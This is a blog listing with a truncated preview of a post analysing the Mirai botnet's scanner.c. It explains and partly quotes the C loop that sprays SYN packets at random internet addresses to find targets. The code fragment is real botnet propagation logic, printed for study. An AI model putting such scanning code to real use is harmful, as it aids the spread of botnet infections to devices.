Posts

Showing posts with the label SYN Cookie

Play-by-play of the Mirai botnet source code - Part 3 (scanner.c)

Image
In this entry about the Mirai botnet, we'll begin by entering the main parts of the Mirai botnet code that set it apart from most botnets of its day. In this portion of the code, the beginning of the "Main logic loop", it sends out SCANNER_RAW_PPS (160) SYN packets to random IP addresses around the world. This is the first stage of what is known as SYN scanning. // Main logic loop while (TRUE) { // (A) fd_set fdset_rd, fdset_wr; struct scanner_connection *conn; struct timeval tim; int last_avail_conn, last_spew, mfd_rd = 0, mfd_wr = 0, nfds; // (B) // Spew out SYN to try and get a response if (fake_time != last_spew) { last_spew = fake_time; // (C) for (i = 0; i < SCANNER_RAW_PPS; i++) { struct sockaddr_in paddr = {0}; struct iphdr *iph = (struct iphdr *)scanner_rawpkt; struct tcphdr *tcph...